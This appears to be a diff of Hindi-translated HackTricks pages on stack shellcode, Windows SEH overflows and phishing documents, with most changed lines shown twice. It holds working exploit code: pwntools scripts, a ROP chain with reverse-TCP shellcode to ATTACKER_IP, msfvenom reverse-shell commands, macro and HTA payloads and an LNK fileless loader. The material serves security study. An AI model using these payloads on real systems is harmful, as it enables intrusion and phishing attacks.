**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग होती है, जहाँ एक हमलावर कमजोर प्रोग्राम के stack पर shellcode लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस shellcode के स्थान की ओर इंगित करने के लिए बदल देता है, जिससे यह निष्पादित हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या मनमाने आदेशों को निष्पादित करने के लिए उपयोग की जाने वाली एक क्लासिक विधि है। यहाँ प्रक्रिया का विवरण है, जिसमें एक सरल C उदाहरण और यह भी बताया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं।
### C उदाहरण: एक कमजोर प्रोग्राम
आइए एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरू करें:
चलें एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरुआत करते हैं:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण एक buffer overflow के प्रति vulnerable है।
यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण buffer overflow के प्रति vulnerable है।
### कम्पाइल करना
### संकलन
विभिन्न सुरक्षा व्यवस्थाओं को अक्षम करते हुए (एक vulnerable environment का अनुकरण करने के लिए), आप इस प्रोग्राम को कम्पाइल करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
विभिन्न सुरक्षा उपायों को अक्षम करते हुए (to simulate a vulnerable environment) इस प्रोग्राम को संकलित करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Stack protection को अक्षम करता है।
- `-z execstack`: Stack को executable बनाता है, जो कि stack पर संग्रहित shellcode को execute करने के लिए आवश्यक है।
- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारे shellcode का memory address कहाँ स्थित होगा।
- `-m32`: प्रोग्राम को 32-bit executable के रूप में compile करता है, जो अक्सर exploit development में सरलता के लिए उपयोग किया जाता है।
- `-fno-stack-protector`: स्टैक प्रोटेक्शन को अक्षम करता है.
- `-z execstack`: स्टैक को executable बनाता है, जो स्टैक पर संग्रहीत shellcode को निष्पादित करने के लिए आवश्यक है.
- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा shellcode किस मेमोरी पते पर स्थित होगा.
- `-m32`: प्रोग्राम को 32-bit executable के रूप में कंपाइल करता है, जो अक्सर exploit development में सरलता के लिए उपयोग होता है.
### Python Exploit using Pwntools
### Python Exploit: Pwntools का उपयोग करके
यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके एक **ret2shellcode** attack कैसे लिख सकते हैं:
यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके **ret2shellcode** attack करने के लिए एक exploit कैसे लिख सकते हैं:
```python
from pwn import *
@ -68,24 +68,24 @@ p.interactive()
```
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
**NOP slide** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि execution हमारे shellcode में "slide" कर जाए भले ही exact address अलग हो। अपने buffer के starting address में offset जोड़कर `p32()` argument को समायोजित करें ताकि आप NOP slide में land करें।
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
आधुनिक Windows पर stack non-executable (DEP/NX) होता है। stack-resident shellcode को stack BOF के बाद भी execute कराने का एक सामान्य तरीका यह है कि एक 64-bit ROP chain बनाया जाए जो module की Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बनाया जा सके और फिर chain के तुरंत बाद जोड़ी गई shellcode में return किया जा सके।
आधुनिक Windows पर stack non-executable होता है (DEP/NX)। stack-resident shellcode को stack BOF के बाद भी execute करने का एक सामान्य तरीका यह है कि आप एक 64-bit ROP chain बनाएं जो module के Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बन जाए और फिर chain के बाद जोड़ी गई shellcode में return किया जा सके।
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → वर्तमान stack में कोई address चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे
- RDX = dwSize → आपकी chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000)
- RCX = lpAddress → वर्तमान stack में किसी address को चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे
- RDX = dwSize → आपके chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
1) Leak a module base (उदा., format-string, object pointer, आदि के माध्यम से) ताकि आप ASLR के तहत absolute gadget और IAT addresses compute कर सकें।
2) RCX/RDX/R8/R9 लोड करने के लिए gadgets खोजें (pop या mov/xor-आधारित sequences) और एक call/jmp [VirtualAlloc@IAT]। यदि आपके पास direct pop r8/r9 नहीं हैं, तो constants synthesize करने के लिए arithmetic gadgets का उपयोग करें (उदा., r8=0 सेट करें और r9 में 0x40 को बार-बार जोड़कर forty times तक जाकर 0x1000 प्राप्त करें)।
3) stage-2 shellcode को chain के तुरंत बाद रखें।
Example layout (conceptual):
```
@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
एक सीमित gadget set के साथ, आप register values को अप्रत्यक्ष रूप से तैयार कर सकते हैं, उदाहरण के लिए:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9 को rbx से सेट करें, r8 को शून्य करें, और स्टैक को एक junk qword से समायोजित करें।
- xor rbx, rsp; ret → rbx को वर्तमान stack pointer से seed करें।
- push rbx; pop rax; mov rcx, rax; ret → RSP-derived value को RCX में move करें।
एक constrained gadget set के साथ, आप register values को indirectly craft कर सकते हैं, उदाहरण के लिए:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
Pwntools खाका (दिए गए known base और gadgets के साथ):
Pwntools sketch (यदि base और gadgets ज्ञात हों):
```python
from pwn import *
base = 0x7ff6693b0000
@ -133,25 +133,26 @@ rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
टिप्स:
- VirtualProtect समान तरीके से काम करता है यदि किसी existing buffer को RX बनाना बेहतर हो; पैरामीटर क्रम अलग होता है।
- यदि stack space तंग है, तो stack को फिर से उपयोग करने की बजाय RWX कहीं और allocate करें (RCX=NULL) और उस नए region पर jmp करें।
- ऐसे gadgets जिनसे RSP बदलता है (e.g., add rsp, 8; ret) हमेशा ध्यान में रखें और बीच में junk qwords डालें।
- VirtualProtect समान रूप से काम करता है यदि किसी मौजूदा buffer को RX बनाना préférable हो; पैरामीटर का क्रम अलग है।
- यदि stack space तंग है, तो RWX कहीं और allocate करें (RCX=NULL) और stack को reuse करने के बजाय उस नए region पर jmp करें।
- ऐसे gadgets जिन्हें RSP adjust करना पड़ता है (जैसे add rsp, 8; ret) को हमेशा ध्यान में रखें और junk qwords डालें।
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** ताकि address executions के बीच भरोसेमंद रहे; अन्यथा जिस address पर function store होगा वह हमेशा एक सा नहीं होगा और आपको यह पता लगाने के लिए कुछ leak चाहिए होगा कि win function कहाँ लोड है।
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी disabled होना चाहिए वरना compromised EIP return address कभी follow नहीं होगा।
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection shellcode के stack के अंदर execution को रोक देगा क्योंकि वह region executable नहीं होगा।
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **अक्षम किया जाना चाहिए** ताकि address executions के दौरान भरोसेमंद रहे — वरना जिस address पर function store होगा वह हर बार समान नहीं होगा और यह पता लगाने के लिए आपको किसी तरह का leak चाहिए होगा कि win function कहाँ load हुआ है।
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी अक्षम किया जाना चाहिए, वरना compromised EIP return address कभी भी follow नहीं होगा।
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** सुरक्षा shellcode के stack के भीतर execution को रोक देगी क्योंकि वह region executable नहीं होगा।
## अन्य उदाहरण और संदर्भ
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR के साथ stack address leak, shellcode लिखें और उस पर jump करें
- 64bit, ASLR के साथ stack address leak, shellcode लिखकर उस पर jump करें
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR के साथ stack leak, shellcode लिखें और उस पर jump करें
- 32 bit, ASLR के साथ stack leak, shellcode लिखकर उस पर jump करें
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR के साथ stack leak, exit() कॉल रोकने के लिए comparison, किसी variable को एक value से overwrite करना और shellcode लिखकर उस पर jump करना
- 32 bit, ASLR के साथ stack leak, exit() कॉल को रोकने के लिए comparison, किसी variable को एक value से overwrite करें और shellcode लिखकर उस पर jump करें
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, ASLR नहीं, ROP gadget से stack को executable बनाकर stack में मौजूद shellcode पर jump करना
- arm64, no ASLR, ROP gadget का उपयोग कर stack को executable बनाना और फिर stack में shellcode पर jump करना
## संदर्भ

64
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
View File

@ -2,24 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
SEH-based exploitation एक क्लासिक x86 Windows technique है जो stack पर संग्रहीत Structured Exception Handler chain का दुरुपयोग करती है। जब एक stack buffer overflow दो 4-byte फील्ड्स को overwrite कर देता है
SEH-based exploitation एक क्लासिक x86 Windows तकनीक है जो स्टैक पर संग्रहीत Structured Exception Handler chain का दुरुपयोग करती है। जब एक स्टैक बफ़र ओवरफ़्लो दो 4-बाइट फील्ड्स को ओवरराइट कर देता है
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
एक attacker execution को निम्न तरीकों से नियंत्रित कर सकता है:
एक अटैकर एक्सेक्यूशन को निम्न तरीके से नियंत्रित कर सकता है:
1) SEH को एक non-protected module में मौजूद POP POP RET gadget के address पर सेट करना, ताकि जब exception dispatch हो तो gadget attacker-controlled bytes में return करे, और
2) nSEH का उपयोग करके execution को redirect करना (आम तौर पर एक short jump) overflowing बड़े buffer में जहाँ shellcode स्थित है वापस ले जाना।
1) SEH को किसी non-protected module में मौजूद POP POP RET gadget के address पर सेट करना, ताकि जब exception dispatch हो तो gadget attacker-controlled बाइट्स में लौटे, और
2) nSEH का उपयोग करके execution को redirect करना (आमतौर पर एक short jump) ताकि यह बड़े overflowing buffer में वापस चले जाए जहाँ shellcode मौजूद होता है।
This technique विशेष रूप से 32-bit processes (x86) के लिए है। आधुनिक सिस्टम पर, gadget के लिए SafeSEH और ASLR न होने वाला module पसंद करें। Bad characters अक्सर 0x00, 0x0a, 0x0d (NUL/CR/LF) शामिल होते हैं, जो C-strings और HTTP parsing के कारण होते हैं।
यह तकनीक 32-bit processes (x86) के लिए विशिष्ट है। आधुनिक सिस्टम पर, gadget के लिए ऐसे मॉड्यूल को प्राथमिकता दें जिनमें SafeSEH और ASLR न हो। Bad characters अक्सर 0x00, 0x0a, 0x0d (NUL/CR/LF) होते हैं, जो C-strings और HTTP parsing के कारण समस्या पैदा करते हैं।
---
## Finding exact offsets (nSEH / SEH)
- Process को crash कराएँ और पुष्टि करें कि SEH chain overwrite हुआ है (उदाहरण के लिए, x32dbg/x64dbg में SEH view चेक करें)।
- Overflowing data के रूप में एक cyclic pattern भेजें और उन दो dword के offsets compute करें जो nSEH और SEH में land करते हैं।
- प्रक्रिया को क्रैश करें और सत्यापित करें कि SEH chain ओवरराइट हुआ है (उदा., x32dbg/x64dbg में SEH view चेक करें)।
- overflowing डेटा के रूप में एक cyclic pattern भेजें और उन दो dwords के offsets निकालें जो nSEH और SEH में landen करते हैं।
Example with peda/GEF/pwntools on a 1000-byte POST body:
```bash
@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# ➜ offsets example: nSEH=660, SEH=664
```
उन स्थानों पर मार्कर रखकर सत्यापित करें (उदा., nSEH=b"BB", SEH=b"CC"). क्रैश को पुनरुत्पादित करने के लिए कुल लंबाई स्थिर रखें।
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
---
## POP POP RET (SEH gadget) चुनना
## Choosing a POP POP RET (SEH gadget)
SEH फ्रेम को अनवाइंड करने और आपके nSEH बाइट्स में लौटने के लिए आपको POP POP RET sequence की आवश्यकता होती है। इसे ऐसे मॉड्यूल में ढूँढें जिसमें SafeSEH न हो और आदर्श रूप से ASLR न हो:
SEH फ्रेम को अनवाइंड करने और अपने nSEH बाइट्स में लौटने के लिए आपको एक POP POP RET सीक्वेंस की आवश्यकता होती है। इसे ऐसे मॉड्यूल में ढूँढें जिसमें SafeSEH न हो और आदर्श रूप से ASLR भी न हो:
- Mona (Immunity/WinDbg): `!mona modules` फिर `!mona seh -m modulename`.
- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets और SafeSEH status दिखाने के लिए।
- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets और SafeSEH status सूचीबद्ध करने के लिए।
ऐसा address चुनें जिसमें little-endian में लिखने पर कोई badchars न हों (उदा., `p32(0x004094D8)`). यदि protections अनुमति दें तो vulnerable binary के अंदर के gadgets को प्राथमिकता दें।
ऐसा पता चुनें जिसमें little-endian में लिखने पर कोई badchars न हों (उदाहरण के लिए, `p32(0x004094D8)`)। यदि सुरक्षा अनुमति देती है तो vulnerable binary के अंदर के gadgets को प्राथमिकता दें।
---
## Jump-back technique (short + near jmp)
nSEH केवल 4 बाइट का होता है, जो अधिकतम 2-बाइट के short jump (`EB xx`) और padding के लिए फिट होता है। यदि आपको अपने buffer के start तक पहुँचने के लिए सैकड़ों बाइट पीछे कूदना पड़ता है, तो nSEH के ठीक पहले रखा गया 5-बाइट का near jump उपयोग करें और nSEH से एक short jump के साथ इसे chain करें।
nSEH सिर्फ 4 बाइट का होता है, जो अधिकतम 2-बाइट का short jump (`EB xx`) और padding ही समा सकता है। यदि आपको अपने buffer की शुरुआत तक पहुँचने के लिए सैकड़ों बाइट पीछे कूदना पड़ता है, तो nSEH के ठीक पहले एक 5-बाइट का near jump रखें और nSEH से एक short jump के माध्यम से उसे chain करें।
nasmshell के साथ:
```text
@ -61,7 +61,7 @@ EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
```
nSEH को offset 660 पर रखते हुए 1000-byte payload के लिए लेआउट विचार:
nSEH at offset 660 के साथ 1000-byte payload के लिए लेआउट विचार:
```python
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
@ -72,39 +72,39 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc
payload += b"D" * (buffer_length - len(payload))
```
निष्पादन प्रवाह:
- Exception उत्पन्न होता है, dispatcher ओवरराइट किए गए SEH का उपयोग करता है।
- एक्सेप्शन होता है, डिस्पैचर ओवरराइट किए गए SEH का उपयोग करता है।
- POP POP RET हमारे nSEH में अनवाइंड होता है।
- nSEH `jmp short -8` निष्पादित करता है, जो 5-byte near jump में जाता है।
- Near jump हमारे buffer की शुरुआत पर लैंड करता है जहाँ NOP sled + shellcode मौजूद हैं।
- nSEH `jmp short -8` को execute करता है, जो 5-byte near jump की ओर जाता है।
- Near jump हमारे बफ़र की शुरुआत पर land करता है जहाँ NOP sled + shellcode मौजूद हैं।
---
## Bad characters
## खराब कैरेक्टर्स
एक पूरा badchar string बनाएं और crash के बाद stack memory की तुलना करें, उन bytes को हटा दें जो target parser द्वारा mangled हो जाती हैं। HTTP-based overflows के लिए, `\x00\x0a\x0d` लगभग हमेशा exclude किए जाते हैं।
एक पूरा badchar string बनाएं और क्रैश के बाद stack memory से तुलना करें, उन बाइट्स को हटाते हुए जो target parser द्वारा बिगड़ गए हों। For HTTP-based overflows, `\x00\x0a\x0d` लगभग हमेशा बाहर होते हैं।
```python
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
```
---
## Shellcode निर्माण (x86)
## Shellcode generation (x86)
अपने badchars के साथ msfvenom का उपयोग करें। एक छोटा NOP sled लैंडिंग विचलन सहन करने में मदद करता है।
अपने badchars के साथ msfvenom का उपयोग करें। एक छोटा NOP sled लैंडिंग में बदलाव सहन करने में मदद करता है।
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
```
यदि आप रन-टाइम पर जनरेट कर रहे हैं, तो hex format Python में embed और unhex करने के लिए सुविधाजनक है:
अगर आप on the fly जनरेट कर रहे हों, तो hex फ़ॉर्मेट को embed करके और Python में unhex करना सुविधाजनक रहता है:
```bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
```
---
## HTTP के माध्यम से डिलीवर करना (precise CRLF + Content-Length)
## Delivering over HTTP (precise CRLF + Content-Length)
जब कमजोर वेक्टर HTTP request body हो, तो सटीक CRLFs और Content-Length के साथ एक raw request तैयार करें ताकि सर्वर पूरे ओवरफ़्लो हो रहे body को पढ़ सके।
जब vulnerable vector HTTP request body हो, तो एक raw request तैयार करें जिसमें सटीक CRLFs और Content-Length हों ताकि server पूरे overflowing body को पढ़ ले।
```python
# pip install pwntools
from pwn import remote
@ -127,19 +127,19 @@ p.close()
## Tooling
- x32dbg/x64dbg — SEH chain को देखने और crash का प्राथमिक विश्लेषण करने के लिए।
- ERC.Xdbg (x64dbg plugin) — SEH gadgets को सूचीबद्ध करने के लिए: `ERC --SEH`.
- x32dbg/x64dbg — SEH chain को observe करने और triage the crash के लिए।
- ERC.Xdbg (x64dbg plugin) — SEH gadgets enumerate करने के लिए: `ERC --SEH`.
- Mona as an alternative: `!mona modules`, `!mona seh`.
- nasmshell — short/near jumps assemble करने और raw opcodes कॉपी करने के लिए।
- pwntools — precise network payloads तैयार करने के लिए।
- nasmshell — short/near jumps assemble करने और raw opcodes copy करने के लिए।
- pwntools — सटीक network payloads craft करने के लिए।
---
## Notes and caveats
## नोट्स और चेतावनियाँ
- केवल x86 processes पर लागू होता है। x64 एक अलग SEH scheme का उपयोग करता है और SEH-based exploitation आम तौर पर व्यवहार्य नहीं होती।
- SafeSEH और ASLR के बिना modules में मौजूद gadgets को प्राथमिकता दें; अन्यथा, process में लोड किया गया कोई unprotected module ढूँढें।
- ऐसे service watchdogs जो crash पर स्वचालित रूप से restart करते हैं, iterative exploit development को आसान बना सकते हैं।
- केवल x86 processes पर लागू होता है। x64 अलग SEH scheme उपयोग करता है और SEH-based exploitation आम तौर पर viable नहीं होता।
- SafeSEH और ASLR से सुरक्षित न होने वाले modules में मौजूद gadgets प्राथमिकता दें; अन्यथा process में loaded कोई unprotected module खोजें।
- जो service watchdogs crash पर स्वतः restart कर देते हैं, वे iterative exploit development को आसान बना सकते हैं।
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

62
src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
View File

@ -2,19 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
## Office दस्तावेज़
## Office Documents
Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा सत्यापन करता है। डेटा सत्यापन OfficeOpenXML standard के अनुसार डेटा संरचना की पहचान के रूप में किया जाता है। यदि डेटा संरचना की पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषित की जा रही फ़ाइल नहीं खोली जाएगी।
Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा वैलिडेशन करता है। डेटा वैलिडेशन डेटा स्ट्रक्चर की पहचान के रूप में, OfficeOpenXML मानक के खिलाफ किया जाता है। यदि डेटा स्ट्रक्चर पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी।
आम तौर पर, macros वाली Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। फिर भी, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और उनकी macro निष्पादन क्षमताएँ बनी रह सकती हैं.\
उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा संभाली जाएगी और macro निष्पादन में सक्षम होगी.\
उसी आंतरिक संरचना और तंत्र Microsoft Office Suite (Excel, PowerPoint आदि) के सभी सॉफ़्टवेयर पर लागू होते हैं।
आम तौर पर, macros वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालांकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना और उनकी macros चलाने की क्षमता बनाए रखना संभव है.\
उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा हैंडल की जाएगी और macros चलाने में सक्षम होगी.\
उसी आंतरिक संरचनाएँ और मेकैनिज़्म Microsoft Office Suite (Excel, PowerPoint etc.) के सभी सॉफ़्टवेयर पर लागू होते हैं।
आप निम्नलिखित कमांड का उपयोग यह जांचने के लिए कर सकते हैं कि किन एक्सटेंशनों को कुछ Office प्रोग्राम्स द्वारा निष्पादित किया जाएगा:
आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ Office प्रोग्राम्स द्वारा execute किए जाने वाले हैं:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
macros शामिल करने वाले रिमोट टेम्पलेट को संदर्भित करने वाली DOCX फ़ाइलें (File –Options –Add-ins –Manage: Templates –Go) macros को भी “execute” कर सकती हैं।
### बाहरी इमेज लोड
@ -25,11 +25,11 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi
### Macros Backdoor
दस्तावेज़ से macros का उपयोग करके arbitrary code चलाना संभव है।
दस्तावेज़ से arbitrary code चलाने के लिए macros का उपयोग करना संभव है।
#### Autoload functions
जितने अधिक सामान्य वे होंगे, AV द्वारा उन्हें पहचानने की संभावना उतनी ही अधिक होगी।
जितने अधिक सामान्य वे होते हैं, उतनी अधिक संभावना होती है कि AV उन्हें पहचान लेगा।
- AutoOpen()
- Document_Open()
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
```
#### मैन्युअली मेटाडेटा हटाएँ
Go to **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोल देगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें।
पर जाएँ **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोलेगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें।
#### Doc एक्सटेंशन
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
यह इसलिए करें क्योंकि आप `.docx` के अंदर macro सहेज नहीं सकते और macro-enabled **`.docm`** एक्सटेंशन के बारे में नकारात्मक धारणा है (उदा. थंबनेल आइकॉन पर बड़ा `!` दिखता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए यह पुराना `.doc` एक्सटेंशन सबसे अच्छा समझौता है।
जब समाप्त कर लें, **Save as type** ड्रॉपडाउन चुनें, फ़ॉर्मेट को **`.docx`** से बदलकर **Word 97-2003 `.doc`** करें.\
यह इसलिए करें क्योंकि आप **can't save macro's inside a `.docx`** और macro-enabled **`.docm`** एक्सटेंशन के बारे में एक **stigma** है (उदा. थंबनेल आइकन पर एक बड़ा `!` होता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए, यह **legacy `.doc` extension is the best compromise**.
#### Malicious Macros Generators
@ -79,11 +79,11 @@ When finished, select **Save as type** dropdown, change the format from **`.docx
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA फ़ाइलें
## HTA Files
HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (जैसे VBScript और JScript)** को मिलाता है। यह उपयोगकर्ता इंटरफ़ेस बनाता है और ब्राउज़र की सुरक्षा मॉडल की पाबंदियों के बिना "fully trusted" एप्लिकेशन के रूप में निष्पादित होता है।
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. यह user interface उत्पन्न करता है और एक "fully trusted" application के रूप में निष्पादित होता है, ब्राउज़र की सुरक्षा मॉडल की सीमाओं के बिना।
HTA को `mshta.exe` के माध्यम से चलाया जाता है, जो सामान्यतः Internet Explorer के साथ इंस्टॉल होता है, इसलिए `mshta` IE पर निर्भर होता है। यदि IE अनइंस्टॉल किया गया है तो HTA निष्पादन में सक्षम नहीं होंगे।
HTA को **`mshta.exe`** का उपयोग करके चलाया जाता है, जो आम तौर पर **Internet Explorer** के साथ **installed** होता है, जिससे **`mshta` dependant on IE** बनता है। इसलिए यदि इसे अनइंस्टॉल कर दिया गया है, तो HTAs निष्पादित नहीं हो पाएंगे।
```html
<--! Basic HTA Execution -->
<html>
@ -138,7 +138,7 @@ var_func
self.close
</script>
```
## NTLM प्रमाणीकरण मजबूर करना
## NTLM Authentication को मजबूर करना
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
@ -156,22 +156,22 @@ There are several ways to **force NTLM authentication "remotely"**, for example,
### NTLM Relay
यह न भूलें कि आप केवल हैश या प्रमाणीकरण ही चुरा नहीं सकते बल्कि **NTLM relay attacks** भी अंजाम दे सकते हैं:
यह न भूलें कि आप सिर्फ hash या authentication चुराने तक सीमित नहीं हैं, बल्कि **perform NTLM relay attacks** भी कर सकते हैं:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory.
Highly effective campaigns एक ZIP deliver करती हैं जिसमें दो legitimate decoy documents (PDF/DOCX) और एक malicious .lnk होता है. चाल यह है कि वास्तविक PowerShell loader ZIP के raw bytes में एक unique marker के बाद stored होता है, और .lnk उसे carve करके पूरी तरह memory में run कर देता है।
Typical flow implemented by the .lnk PowerShell one-liner:
1) सामान्य पथों में मूल ZIP का पता लगाएँ: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
2) ZIP bytes पढ़ें और एक hardcoded marker खोजें (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
3) ZIP को %ProgramData% में कॉपी करें, extract वहाँ करें, और वैध दिखने के लिए decoy .docx खोलें।
